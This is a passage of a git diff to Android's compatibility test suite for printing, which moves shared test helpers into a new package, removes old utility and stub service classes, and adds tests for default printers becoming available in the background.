-public class PrintDocumentInfoTest extends android.print.cts.BasePrintTest {
+public class PrintDocumentInfoTest extends BasePrintTest {
     private static boolean sIsDefaultPrinterSet;
 
     @Before
diff --git a/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
index d5edcb6..75a7847 100644
--- a/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintJobStateTransitionsTest.java
@@ -16,7 +16,7 @@
 
 package android.print.cts;
 
-import static android.print.cts.Utils.eventually;
+import static android.print.test.Utils.eventually;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
@@ -30,11 +30,12 @@
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.util.Log;
 
diff --git a/tests/tests/print/src/android/print/cts/PrintJobTest.java b/tests/tests/print/src/android/print/cts/PrintJobTest.java
index f3081fb..1fcfc17 100644
--- a/tests/tests/print/src/android/print/cts/PrintJobTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintJobTest.java
@@ -16,6 +16,14 @@
 
 package android.print.cts;
 
+import static android.print.test.Utils.eventually;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
 import android.print.PrintAttributes;
 import android.print.PrintAttributes.Margins;
 import android.print.PrintAttributes.MediaSize;
@@ -26,23 +34,22 @@
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
-import android.print.cts.services.CustomPrintOptionsActivity;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.CustomPrintOptionsActivity;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.support.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
 
-import static android.print.cts.Utils.eventually;
-import static org.junit.Assert.*;
-
 /**
  * Tests all possible states of print jobs.
  */
diff --git a/tests/tests/print/src/android/print/cts/PrintServicesTest.java b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
index 7be5fc1..b5a23e2 100644
--- a/tests/tests/print/src/android/print/cts/PrintServicesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrintServicesTest.java
@@ -16,6 +16,16 @@
 
 package android.print.cts;
 
+import static android.print.test.Utils.assertException;
+import static android.print.test.Utils.eventually;
+import static android.print.test.Utils.getPrintJob;
+import static android.print.test.Utils.runOnMainThread;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
 import android.app.Activity;
 import android.app.PendingIntent;
 import android.content.ComponentName;
@@ -38,13 +48,14 @@
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.InfoActivity;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.InfoActivity;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.CustomPrinterIconCallback;
 import android.printservice.PrintJob;
 import android.printservice.PrintService;
@@ -52,15 +63,13 @@
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiSelector;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
 import java.util.List;
 
-import static android.print.cts.Utils.*;
-import static org.junit.Assert.*;
-
 /**
  * Test the interface from a print service to the print manager
  */
diff --git a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesChangeTest.java b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesChangeTest.java
index 9b277e9..251b371 100644
--- a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesChangeTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesChangeTest.java
@@ -16,6 +16,8 @@
 
 package android.print.cts;
 
+import static android.print.test.Utils.runOnMainThread;
+
 import android.os.ParcelFileDescriptor;
 import android.print.PageRange;
 import android.print.PrintAttributes;
@@ -29,14 +31,14 @@
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
-import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiSelector;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.util.Log;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -47,8 +49,6 @@
 import java.util.List;
 import java.util.concurrent.TimeoutException;
 
-import static android.print.cts.Utils.runOnMainThread;
-
 /**
  * This test verifies changes to the printer capabilities are applied correctly.
  */
@@ -154,23 +154,6 @@
                         PrinterInfo.STATUS_UNAVAILABLE)));
     }
 
-    /**
-     * Wait until the message is shown that indicates that a printer is unavilable.
-     *
-     * @throws Exception If anything was unexpected.
-     */
-    private void waitForPrinterUnavailable() throws Exception {
-        final String PRINTER_UNAVAILABLE_MSG =
-                getPrintSpoolerString("print_error_printer_unavailable");
-
-        UiObject message = getUiDevice().findObject(new UiSelector().resourceId(
-                "com.android.printspooler:id/message"));
-        if (!message.getText().equals(PRINTER_UNAVAILABLE_MSG)) {
-            throw new Exception("Wrong message: " + message.getText() + " instead of " +
-                    PRINTER_UNAVAILABLE_MSG);
-        }
-    }
-
     @Before
     public void setUpPrinting() throws Exception {
         // Create the mSession[0] callbacks that we will be checking.
diff --git a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
index 3ea03af..3954948 100644
--- a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
@@ -16,6 +16,11 @@
 
 package android.print.cts;
 
+import static android.print.test.Utils.assertException;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
 import android.os.ParcelFileDescriptor;
 import android.print.PageRange;
 import android.print.PrintAttributes;
@@ -29,12 +34,14 @@
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.support.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -42,9 +49,6 @@
 import java.util.function.Consumer;
 import java.util.function.Function;
 
-import static android.print.cts.Utils.assertException;
-import static org.junit.Assert.*;
-
 /**
  * This test verifies changes to the printer capabilities are applied correctly.
  */
diff --git a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
index 499d21e..a21ed18 100644
--- a/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterDiscoverySessionLifecycleTest.java
@@ -16,8 +16,13 @@
 
 package android.print.cts;
 
-import static android.print.cts.Utils.*;
-import static org.junit.Assert.*;
+import static android.print.test.Utils.eventually;
+import static android.print.test.Utils.runOnMainThread;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 import static org.mockito.Mockito.inOrder;
 
 import android.print.PrintAttributes;
@@ -28,15 +33,19 @@
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.printservice.PrintJob;
 import android.printservice.PrinterDiscoverySession;
-
+import android.support.annotation.NonNull;
 import android.support.test.runner.AndroidJUnit4;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiSelector;
+
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -53,10 +62,7 @@
  */
 @RunWith(AndroidJUnit4.class)
 public class PrinterDiscoverySessionLifecycleTest extends BasePrintTest {
-    private static final String FIRST_PRINTER_NAME = "First printer";
-    private static final String SECOND_PRINTER_NAME = "Second printer";
-
-    private static final String FIRST_PRINTER_LOCAL_ID= "first_printer";
+    private static final String FIRST_PRINTER_LOCAL_ID = "first_printer";
     private static final String SECOND_PRINTER_LOCAL_ID = "second_printer";
 
     private static StubbablePrinterDiscoverySession sSession;
@@ -66,6 +72,172 @@
         clearPrintSpoolerData();
     }
 
+    /**
+     * Add a printer to {@#sSession}.
+     *
+     * @param localId The id of the printer to add
+     * @param hasCapabilities If the printer has capabilities
+     */
+    private void addPrinter(@NonNull String localId, boolean hasCapabilities) {
+        // Add the first printer.
+        PrinterId firstPrinterId = sSession.getService().generatePrinterId(
+                localId);
+
+        PrinterInfo.Builder printer = new PrinterInfo.Builder(firstPrinterId,
+                localId, PrinterInfo.STATUS_IDLE);
+
+        if (hasCapabilities) {
+            printer.setCapabilities(new PrinterCapabilitiesInfo.Builder(firstPrinterId)
+                    .setMinMargins(new Margins(200, 200, 200, 200))
+                    .addMediaSize(MediaSize.ISO_A0, true)
+                    .addResolution(new Resolution("300x300", "300x300", 300, 300), true)
+                    .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                            PrintAttributes.COLOR_MODE_COLOR)
+                    .build());
+        }
+
+        sSession.addPrinters(Collections.singletonList(printer.build()));
+    }
+
+    /**
+     * Make {@code localPrinterId} the default printer. This requires a full print workflow.
+     *
+     * As a side-effect also approved the print service.
+     *
+     * @param localPrinterId The printer to make default
+     */
+    private void makeDefaultPrinter(String localPrinterId) throws Throwable {
+        PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+
+        print(adapter);
+        waitForWriteAdapterCallback(1);
+
+        runOnMainThread(() -> addPrinter(localPrinterId, true));
+        selectPrinter(localPrinterId);
+        waitForWriteAdapterCallback(2);
+
+        clickPrintButton();
+        answerPrintServicesWarning(true);
+
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+        resetCounters();
+    }
+
+    /**
+     * Select a printer in the all printers activity
+     *
+     * @param printerName The name of the printer to select
+     */
+    private void selectInAllPrintersActivity(@NonNull String printerName) throws Exception {
+        while (true) {
+            UiObject printerItem = getUiDevice().findObject(
+                    new UiSelector().text(printerName));
+
+            if (printerItem.isEnabled()) {
+                printerItem.click();
+                break;
+            } else {
+                Thread.sleep(100);
+            }
+        }
+    }
+
+    @Test
+    public void defaultPrinterBecomesAvailableWhileInBackground() throws Throwable {
+        // Create the session callbacks that we will be checking.
+        final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
+                createMockPrinterDiscoverySessionCallbacks(invocation -> {
+                    sSession =
+                            ((PrinterDiscoverySessionCallbacks) invocation.getMock()).getSession();
+
+                    onPrinterDiscoverySessionCreateCalled();
+                    return null;
+                }, null, null, null, null, null, invocation -> {
+                    onPrinterDiscoverySessionDestroyCalled();
+                    return null;
+                });
+
+        // Create the service callbacks for the first print service.
+        PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
+                invocation -> firstSessionCallbacks, null, null);
+
+        // Configure the print services.
+        FirstPrintService.setCallbacks(firstServiceCallbacks);
+        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+
+        makeDefaultPrinter(FIRST_PRINTER_LOCAL_ID);
+
+        PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+        print(adapter);
+        waitForPrinterDiscoverySessionCreateCallbackCalled();
+
+        waitForPrinterUnavailable();
+
+        selectPrinter("All printers…");
+        // Let all printers activity start
+        Thread.sleep(500);
+
+        // Add printer
+        runOnMainThread(() -> addPrinter(FIRST_PRINTER_LOCAL_ID, true));
+
+        // Select printer once available (this returns to main print activity)
+        selectInAllPrintersActivity(FIRST_PRINTER_LOCAL_ID);
+
+        // Wait for preview to load and finish print
+        waitForWriteAdapterCallback(1);
+        clickPrintButton();
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+    }
+
+    @Test
+    public void defaultPrinterBecomesUsableWhileInBackground() throws Throwable {
+        // Create the session callbacks that we will be checking.
+        final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
+                createMockPrinterDiscoverySessionCallbacks(invocation -> {
+                    sSession =
+                            ((PrinterDiscoverySessionCallbacks) invocation.getMock()).getSession();
+
+                    onPrinterDiscoverySessionCreateCalled();
+                    return null;
+                }, null, null, null, null, null, invocation -> {
+                    onPrinterDiscoverySessionDestroyCalled();
+                    return null;
+                });
+
+        // Create the service callbacks for the first print service.
+        PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
+                invocation -> firstSessionCallbacks, null, null);
+
+        // Configure the print services.
+        FirstPrintService.setCallbacks(firstServiceCallbacks);
+        SecondPrintService.setCallbacks(createSecondMockPrintServiceCallbacks());
+
+        makeDefaultPrinter(FIRST_PRINTER_LOCAL_ID);
+
+        PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+        print(adapter);
+        waitForPrinterDiscoverySessionCreateCallbackCalled();
+
+        // Add printer but do not enable it (capabilities == null)
+        runOnMainThread(() -> addPrinter(FIRST_PRINTER_LOCAL_ID, false));
+        waitForPrinterUnavailable();
+
+        selectPrinter("All printers…");
+        // Let all printers activity start
+        Thread.sleep(500);
+
+        // Enable printer
+        runOnMainThread(() -> addPrinter(FIRST_PRINTER_LOCAL_ID, true));
+
+        // Select printer once available (this returns to main print activity)
+        selectInAllPrintersActivity(FIRST_PRINTER_LOCAL_ID);
+
+        // Wait for preview to load and finish print
+        waitForWriteAdapterCallback(1);
+        clickPrintButton();
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+    }
+
     @Test
     public void normalLifecycle() throws Throwable {
         // Create the session callbacks that we will be checking.
@@ -99,7 +271,7 @@
         runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
 
         // Select the first printer.
-        selectPrinter(FIRST_PRINTER_NAME);
+        selectPrinter(FIRST_PRINTER_LOCAL_ID);
 
         eventually(() -> runOnMainThread(() -> assertEquals(FIRST_PRINTER_LOCAL_ID,
                 sSession.getTrackedPrinters().get(0).getLocalId())));
@@ -111,7 +283,7 @@
 
         // Select the second printer (same capabilities as the other
         // one so no layout should happen).
-        selectPrinter(SECOND_PRINTER_NAME);
+        selectPrinter(SECOND_PRINTER_LOCAL_ID);
 
         eventually(() -> runOnMainThread(() -> assertEquals(SECOND_PRINTER_LOCAL_ID,
                 sSession.getTrackedPrinters().get(0).getLocalId())));
@@ -205,7 +377,7 @@
         runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
 
         // Select the first printer.
-        selectPrinter(FIRST_PRINTER_NAME);
+        selectPrinter(FIRST_PRINTER_LOCAL_ID);
 
         eventually(() -> runOnMainThread(() -> assertEquals(FIRST_PRINTER_LOCAL_ID,
                 sSession.getTrackedPrinters().get(0).getLocalId())));
@@ -295,7 +467,7 @@
         runOnMainThread(() -> assertEquals(0, sSession.getTrackedPrinters().size()));
 
         // Select the first printer.
-        selectPrinter(FIRST_PRINTER_NAME);
+        selectPrinter(FIRST_PRINTER_LOCAL_ID);
 
         eventually(() -> runOnMainThread(() -> assertEquals(FIRST_PRINTER_LOCAL_ID,
                 sSession.getTrackedPrinters().get(0).getLocalId())));
@@ -491,27 +663,9 @@
 
             assertTrue(sSession.isPrinterDiscoveryStarted());
 
-            if (sSession.getPrinters().isEmpty()) {
-                List<PrinterInfo> printers = new ArrayList<>();
+            addPrinter(FIRST_PRINTER_LOCAL_ID, false);
+            addPrinter(SECOND_PRINTER_LOCAL_ID, false);
 
-                // Add the first printer.
-                PrinterId firstPrinterId = sSession.getService().generatePrinterId(
-                        FIRST_PRINTER_LOCAL_ID);
-                PrinterInfo firstPrinter = new PrinterInfo.Builder(firstPrinterId,
-                        FIRST_PRINTER_NAME, PrinterInfo.STATUS_IDLE)
-                    .build();
-                printers.add(firstPrinter);
-
-                // Add the first printer.
-                PrinterId secondPrinterId = sSession.getService().generatePrinterId(
-                        SECOND_PRINTER_LOCAL_ID);
-                PrinterInfo secondPrinter = new PrinterInfo.Builder(secondPrinterId,
-                        SECOND_PRINTER_NAME, PrinterInfo.STATUS_IDLE)
-                    .build();
-                printers.add(secondPrinter);
-
-                sSession.addPrinters(printers);
-            }
             return null;
         }, invocation -> {
             assertFalse(sSession.isPrinterDiscoveryStarted());
diff --git a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
index 9c5c6ab..6a65e00 100644
--- a/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterInfoTest.java
@@ -27,11 +27,12 @@
 import android.print.PrinterCapabilitiesInfo;
 import android.print.PrinterId;
 import android.print.PrinterInfo;
-import android.print.cts.services.FirstPrintService;
-import android.print.cts.services.PrintServiceCallbacks;
-import android.print.cts.services.PrinterDiscoverySessionCallbacks;
-import android.print.cts.services.SecondPrintService;
-import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.print.test.BasePrintTest;
+import android.print.test.services.FirstPrintService;
+import android.print.test.services.PrintServiceCallbacks;
+import android.print.test.services.PrinterDiscoverySessionCallbacks;
+import android.print.test.services.SecondPrintService;
+import android.print.test.services.StubbablePrinterDiscoverySession;
 import android.support.test.runner.AndroidJUnit4;
 import android.support.test.uiautomator.UiObject;
 import android.support.test.uiautomator.UiSelector;
diff --git a/tests/tests/print/src/android/print/cts/Utils.java b/tests/tests/print/src/android/print/cts/Utils.java
deleted file mode 100644
index 93f5632..0000000
--- a/tests/tests/print/src/android/print/cts/Utils.java
+++ /dev/null
@@ -1,148 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts;
-
-import android.content.Context;
-import android.os.Handler;
-import android.os.Looper;
-import android.print.PrintJob;
-import android.print.PrintManager;
-import android.support.annotation.NonNull;
-import android.util.Log;
-
-/**
- * Utilities for print tests
- */
-public class Utils {
-    private static final String LOG_TAG = "Utils";
-
-    /**
-     * A {@link Runnable} that can throw an {@link Throwable}.
-     */
-    public interface Invokable {
-        void run() throws Throwable;
-    }
-
-    /**
-     * Run a {@link Invokable} and expect and {@link Throwable} of a certain type.
-     *
-     * @param r             The {@link Invokable} to run
-     * @param expectedClass The expected {@link Throwable} type
-     */
-    public static void assertException(@NonNull Invokable r,
-            @NonNull Class<? extends Throwable> expectedClass) throws Throwable {
-        try {
-            r.run();
-        } catch (Throwable e) {
-            if (e.getClass().isAssignableFrom(expectedClass)) {
-                return;
-            } else {
-                Log.e(LOG_TAG, "Expected: " + expectedClass.getName() + ", got: "
-                        + e.getClass().getName());
-                throw e;
-            }
-        }
-
-        throw new AssertionError("No throwable thrown");
-    }
-
-    /**
-     * Run a {@link Invokable} on the main thread and forward the {@link Throwable} if one was
-     * thrown.
-     *
-     * @param r The {@link Invokable} to run
-     *
-     * @throws Throwable If the {@link Runnable} caused an issue
-     */
-    static void runOnMainThread(@NonNull final Invokable r) throws Throwable {
-        final Object synchronizer = new Object();
-        final Throwable[] thrown = new Throwable[1];
-
-        synchronized (synchronizer) {
-            (new Handler(Looper.getMainLooper())).post(() -> {
-                synchronized (synchronizer) {
-                    try {
-                        r.run();
-                    } catch (Throwable t) {
-                        thrown[0] = t;
-                    }
-
-                    synchronizer.notify();
-                }
-            });
-
-            synchronizer.wait();
-        }
-
-        if (thrown[0] != null) {
-            throw thrown[0];
-        }
-    }
-
-    /**
-     * Make sure that a {@link Invokable} eventually finishes without throwing a {@link Throwable}.
-     *
-     * @param r The {@link Invokable} to run.
-     */
-    public static void eventually(@NonNull Invokable r) throws Throwable {
-        long start = System.currentTimeMillis();
-
-        while (true) {
-            try {
-                r.run();
-                break;
-            } catch (Throwable e) {
-                if (System.currentTimeMillis() - start < BasePrintTest.OPERATION_TIMEOUT_MILLIS) {
-                    Log.e(LOG_TAG, "Ignoring exception", e);
-
-                    try {
-                        Thread.sleep(500);
-                    } catch (InterruptedException e1) {
-                        Log.e(LOG_TAG, "Interrupted", e);
-                    }
-                } else {
-                    throw e;
-                }
-            }
-        }
-    }
-
-    /**
-     * @param name Name of print job
-     *
-     * @return The print job for the name
-     *
-     * @throws Exception If print job could not be found
-     */
-    static @NonNull PrintJob getPrintJob(@NonNull PrintManager pm, @NonNull String name)
-            throws Exception {
-        for (android.print.PrintJob job : pm.getPrintJobs()) {
-            if (job.getInfo().getLabel().equals(name)) {
-                return job;
-            }
-        }
-
-        throw new Exception("Print job " + name + " not found in " + pm.getPrintJobs());
-    }
-
-    /**
-     * @return The print manager
-     */
-    static @NonNull PrintManager getPrintManager(@NonNull Context context) {
-        return (PrintManager) context.getSystemService(Context.PRINT_SERVICE);
-    }
-}
diff --git a/tests/tests/print/src/android/print/cts/services/AddPrintersActivity.java b/tests/tests/print/src/android/print/cts/services/AddPrintersActivity.java
deleted file mode 100644
index c72d6f9..0000000
--- a/tests/tests/print/src/android/print/cts/services/AddPrintersActivity.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class AddPrintersActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-    }
-}
diff --git a/tests/tests/print/src/android/print/cts/services/CustomPrintOptionsActivity.java b/tests/tests/print/src/android/print/cts/services/CustomPrintOptionsActivity.java
deleted file mode 100644
index cf52ece..0000000
--- a/tests/tests/print/src/android/print/cts/services/CustomPrintOptionsActivity.java
+++ /dev/null
@@ -1,76 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-import android.print.PrintJobInfo;
-import android.print.PrinterInfo;
-import android.printservice.PrintService;
-
-/**
- * Custom print options activity for both print services
- */
-public class CustomPrintOptionsActivity extends Activity {
-    /** Lock for {@link #sCallback} */
-    private static final Object sLock = new Object();
-
-    /** Currently registered callback for _both_ first and second print service. */
-    private static CustomPrintOptionsCallback sCallback = null;
-
-    /**
-     * Set a new callback called when the custom options activity is launched.
-     *
-     * @param callback The new callback or null, if the callback should be unregistered.
-     */
-    public static void setCallBack(CustomPrintOptionsCallback callback) {
-        synchronized (sLock) {
-            sCallback = callback;
-        }
-    }
-
-    /**
-     * Callback executed for this activity. Set via {@link #setCallBack}.
-     */
-    public interface CustomPrintOptionsCallback {
-        PrintJobInfo executeCustomPrintOptionsActivity(PrintJobInfo printJob,
-                PrinterInfo printer);
-    }
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-
-        Intent result = new Intent();
-
-        synchronized (sLock) {
-            if (sCallback != null) {
-                PrintJobInfo printJobInfo = getIntent().getParcelableExtra(
-                        PrintService.EXTRA_PRINT_JOB_INFO);
-                PrinterInfo printerInfo = getIntent().getParcelableExtra(
-                        "android.intent.extra.print.EXTRA_PRINTER_INFO");
-
-                result.putExtra(PrintService.EXTRA_PRINT_JOB_INFO,
-                        sCallback.executeCustomPrintOptionsActivity(printJobInfo, printerInfo));
-            }
-        }
-
-        setResult(Activity.RESULT_OK, result);
-        finish();
-    }
-}
diff --git a/tests/tests/print/src/android/print/cts/services/FirstPrintService.java b/tests/tests/print/src/android/print/cts/services/FirstPrintService.java
deleted file mode 100644
index a234de4..0000000
--- a/tests/tests/print/src/android/print/cts/services/FirstPrintService.java
+++ /dev/null
@@ -1,40 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.print.cts.services;
-
-public class FirstPrintService extends StubbablePrintService {
-
-    private static final Object sLock = new Object();
-
-    private static PrintServiceCallbacks sCallbacks;
-
-    public static void setCallbacks(PrintServiceCallbacks callbacks) {
-        synchronized (sLock) {
-            sCallbacks = callbacks;
-        }
-    }
-
-    @Override
-    protected PrintServiceCallbacks getCallbacks() {
-        synchronized (sLock) {
-            if (sCallbacks != null) {
-                sCallbacks.setService(this);
-            }
-            return sCallbacks;
-        }
-    }
-}
diff --git a/tests/tests/print/src/android/print/cts/services/InfoActivity.java b/tests/tests/print/src/android/print/cts/services/InfoActivity.java
deleted file mode 100644
index 22c1bb5..0000000
--- a/tests/tests/print/src/android/print/cts/services/InfoActivity.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the License at
- *
- *       http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- */
-
-package android.print.cts.services;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-import java.util.ArrayList;
-import java.util.Observable;
-
-public class InfoActivity extends Activity {
-    public interface Observer {
-        void onCreate(Activity createdActivity);
-    }
-
